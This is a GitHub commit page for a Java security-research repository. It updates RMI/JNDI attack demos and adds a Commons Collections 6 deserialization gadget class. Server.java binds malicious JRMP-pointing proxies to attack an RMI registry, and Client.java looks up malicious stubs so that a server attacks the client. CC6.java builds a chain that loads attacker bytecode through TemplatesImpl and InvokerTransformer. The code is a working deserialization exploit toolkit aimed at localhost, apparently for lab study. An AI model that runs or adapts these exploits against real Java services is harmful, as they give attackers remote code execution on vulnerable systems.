Skip to content

Commit 41a58f2

Browse files
author
1diot9
committed
更新JNDI代码
1 parent 53a36dd commit 41a58f2

File tree

8 files changed

+162
-10
lines changed

8 files changed

+162
-10
lines changed

‎JNDI/JNDI/.idea/misc.xml‎

Lines changed: 1 addition & 1 deletion
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

‎JNDI/JNDI/.idea/vcs.xml‎

Lines changed: 0 additions & 1 deletion
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

‎JNDI/JNDI/pom.xml‎

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -15,6 +15,11 @@
1515
</properties>
1616

1717
<dependencies>
18+
<dependency>
19+
<groupId>commons-beanutils</groupId>
20+
<artifactId>commons-beanutils</artifactId>
21+
<version>1.9.4</version>
22+
</dependency>
1823
<dependency>
1924
<groupId>com.alibaba</groupId>
2025
<artifactId>fastjson</artifactId>
@@ -55,6 +60,11 @@
5560
<artifactId>unboundid-ldapsdk</artifactId>
5661
<version>3.2.0</version>
5762
</dependency>
63+
<dependency>
64+
<groupId>commons-collections</groupId>
65+
<artifactId>commons-collections</artifactId>
66+
<version>3.2.1</version>
67+
</dependency>
5868
</dependencies>
5969

6070
</project>

‎JNDI/JNDI/src/main/java/RMI/Client.java‎

Lines changed: 12 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -7,17 +7,25 @@
77

88
public class Client {
99
public static void main(String[] args) throws Exception {
10-
serverAttackClientWithJRMP();
10+
evilExceptionWithJRMP();
1111
}
1212

13-
// 从registry获取的stub指向恶意skel，通过DGC JRMP，实现server打client
14-
public static void serverAttackClientWithJRMP() throws Exception{
13+
// 之前写错了，这里反序列化是因为java-chains直接返回了恶意Exception对象，不是触发JRMP
14+
public static void evilExceptionWithJRMP() throws Exception{
1515
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 13999);
1616
registry.lookup("951d14");
1717
}
1818

19+
// 从registry获取的stub指向恶意skel，通过DGC JRMP，实现server打client
20+
// 步骤：打开Register，Server绑定恶意skel到Register，关掉Server，打开Client，lookup Server绑定的恶意对象
21+
public static void serverAttackClientWithJRMP() throws Exception{
22+
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
23+
registry.lookup("evil25");
24+
}
25+
26+
1927
public static void rmiDeser() throws Exception{
2028
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 50388);
21-
registry.lookup("c4e578");
29+
registry.lookup("fcdf0b");
2230
}
2331
}

‎JNDI/JNDI/src/main/java/RMI/MyRegistry.java‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -9,6 +9,6 @@
99
public class MyRegistry {
1010
public static void main(String[] args) throws RemoteException, AlreadyBoundException {
1111
java.rmi.registry.Registry registry = LocateRegistry.createRegistry(1099);
12-
registry.bind("hello", new HelloImpl());
12+
while (true);
1313
}
1414
}

‎JNDI/JNDI/src/main/java/RMI/Server.java‎

Lines changed: 42 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,9 @@
11
package RMI;
22

33
import com.alibaba.fastjson.JSONArray;
4+
import remoteObj.Hello;
45
import remoteObj.HelloImpl;
6+
import remoteObj.HelloImpl2;
57
import sun.rmi.server.UnicastRef;
68
import sun.rmi.transport.LiveRef;
79
import sun.rmi.transport.tcp.TCPEndpoint;
@@ -12,18 +14,23 @@
1214

1315
import javax.management.BadAttributeValueExpException;
1416
import javax.xml.transform.Templates;
17+
import java.io.IOException;
18+
import java.io.Serializable;
1519
import java.lang.reflect.Proxy;
20+
import java.net.ServerSocket;
1621
import java.rmi.Remote;
1722
import java.rmi.registry.LocateRegistry;
1823
import java.rmi.registry.Registry;
1924
import java.rmi.server.ObjID;
25+
import java.rmi.server.RMIServerSocketFactory;
2026
import java.rmi.server.RemoteObjectInvocationHandler;
27+
import java.rmi.server.UnicastRemoteObject;
2128
import java.util.Random;
2229

2330
public class Server {
2431

2532
public static void main(String[] args) throws Exception {
26-
serverAttackRegistryWithJRMP();
33+
serverAttackRegistryWithBind();
2734
}
2835

2936
// 正常绑定远程对象
@@ -53,7 +60,7 @@ public static void serverAttackRegistryWithBind() throws Exception {
5360
registry.bind("evil1", o);
5461
}
5562

56-
// 将stub里的skel地址指向恶意JRMP服务，实现server打registry
63+
// 将stub里的skel地址指向恶意JRMP服务，实现server打registry，<8u231
5764
public static void serverAttackRegistryWithJRMP() throws Exception {
5865
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
5966
TCPEndpoint te = new TCPEndpoint("127.0.0.1", 13999);
@@ -64,9 +71,24 @@ public static void serverAttackRegistryWithJRMP() throws Exception {
6471
}, obj);
6572

6673
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
67-
registry.bind("evil24", proxy);
74+
registry.bind("evil25", proxy);
6875
}
6976

77+
// gemini3给出的方法
78+
public static void aiServerAttackRegistryWithJRMP() throws Exception {
79+
// 1. 设置公网 IP（Stub 中的 Host）
80+
System.setProperty("java.rmi.server.hostname", "127.0.0.1");
81+
// 定义外部公网端口 (Stub 中的 Port，也是 Registry/DGC 尝试连接的端口)
82+
int dgcPort = 13999;
83+
// 定义内部真实端口 (Server 实际监听的端口)
84+
int serverPort = 13990;
85+
Hello hello = new HelloImpl2();
86+
Remote stub = UnicastRemoteObject.exportObject(hello, dgcPort, null, new Server.NatServerSocketFactory(serverPort));
87+
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
88+
registry.bind("HelloImpl", stub);
89+
}
90+
91+
7092
// 通过DGC JRMP实现registry打server
7193
public static void registerAttackServer() throws Exception {
7294
// java-chains启动恶意JRMP服务
@@ -75,4 +97,21 @@ public static void registerAttackServer() throws Exception {
7597
registry.bind("evil3", hello);
7698
}
7799

100+
static class NatServerSocketFactory implements RMIServerSocketFactory, Serializable {
101+
private int localRealPort;
102+
103+
public NatServerSocketFactory(int localRealPort) {
104+
this.localRealPort = localRealPort;
105+
}
106+
107+
@Override
108+
public ServerSocket createServerSocket(int port) throws IOException {
109+
// 【关键点】
110+
// RMI 传入的 port 参数是我们在 exportObject 时指定的“公网端口”(9000)
111+
// 但我们直接忽略它，强行绑定到“本地真实端口”(8000)
112+
System.out.println("RMI asked to bind to " + port + ", but actually binding to " + localRealPort);
113+
return new ServerSocket(localRealPort);
114+
}
115+
}
116+
78117
}

‎JNDI/JNDI/src/main/java/gadget/CC6.java‎

Lines changed: 85 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,85 @@
1+
package gadget;
2+
3+
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
4+
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
5+
import javassist.ClassPool;
6+
import javassist.CtClass;
7+
import org.apache.commons.collections.Transformer;
8+
import org.apache.commons.collections.functors.ChainedTransformer;
9+
import org.apache.commons.collections.functors.ConstantTransformer;
10+
import org.apache.commons.collections.functors.InvokerTransformer;
11+
import org.apache.commons.collections.map.LazyMap;
12+
13+
import java.io.ByteArrayInputStream;
14+
import java.io.File;
15+
import java.io.FileInputStream;
16+
import java.io.IOException;
17+
import java.lang.annotation.Retention;
18+
import java.lang.reflect.Constructor;
19+
import java.lang.reflect.Field;
20+
import java.util.HashMap;
21+
import java.util.Map;
22+
23+
/**
24+
* Commons Collections 6 (CC6) 反序列化利用链
25+
*/
26+
public class CC6 {
27+
28+
public static Object getPayload(byte[] evilByteCode, String evilClassPath) throws Exception {
29+
// 获取实际的字节数组
30+
byte[] actualByteCode = evilByteCode;
31+
if (actualByteCode == null && evilClassPath != null) {
32+
actualByteCode = loadBytesFromFile(evilClassPath);
33+
}
34+
35+
if (actualByteCode == null) {
36+
throw new IllegalArgumentException("Either byte[] or String path must be provided");
37+
}
38+
39+
// 创建TemplatesImpl实例
40+
TemplatesImpl templatesImpl = new TemplatesImpl();
41+
42+
// 设置必要的字段
43+
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{actualByteCode});
44+
setFieldValue(templatesImpl, "_name", "EvilClass");
45+
setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
46+
47+
// 创建transformer链
48+
Transformer[] transformers = new Transformer[]{
49+
new ConstantTransformer(templatesImpl),
50+
new InvokerTransformer("newTransformer", null, null)
51+
};
52+
53+
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
54+
55+
// 创建HashMap和LazyMap
56+
HashMap<Object, Object> hashMap = new HashMap<>();
57+
Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
58+
59+
// 添加到hashMap中触发
60+
hashMap.put("yy", 1);
61+
62+
return lazyMap;
63+
}
64+
65+
/**
66+
* 从文件路径加载字节数组
67+
*/
68+
private static byte[] loadBytesFromFile(String filePath) throws IOException {
69+
File file = new File(filePath);
70+
FileInputStream fis = new FileInputStream(file);
71+
byte[] bytes = new byte[(int) file.length()];
72+
fis.read(bytes);
73+
fis.close();
74+
return bytes;
75+
}
76+
77+
/**
78+
* 设置对象字段值
79+
*/
80+
private static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
81+
Field field = obj.getClass().getDeclaredField(fieldName);
82+
field.setAccessible(true);
83+
field.set(obj, value);
84+
}
85+
}

‎JNDI/JNDI/src/main/java/remoteObj/HelloImpl2.java‎

Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,11 @@
1+
package remoteObj;
2+
3+
import java.rmi.RemoteException;
4+
5+
public class HelloImpl2 implements Hello {
6+
7+
@Override
8+
public String hello(String name) throws RemoteException {
9+
return "hello impl2";
10+
}
11+
}

0 commit comments

Comments
 (0)